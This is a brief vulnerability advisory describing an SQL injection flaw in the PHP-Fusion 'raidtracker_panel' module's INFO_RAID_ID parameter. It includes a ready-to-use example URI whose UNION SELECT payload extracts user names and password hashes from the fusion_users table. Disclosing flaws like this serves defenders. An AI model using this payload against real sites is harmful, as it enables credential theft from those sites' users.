|
PHP-Fusion 'raidtracker_panel' Module 'INFO_RAID_ID' Parameter SQL Injection Vulnerability
An attacker can exploit this issue via a browser. The following example URI is available: http://www.example.com/infusions/raidtracker_panel/thisraidprogress.php?INFO_RAID_ID=-9999+union+all+select+1,2,3,user_name,user_password,6+from+fusion_users-- |
|
|
Privacy Statement |
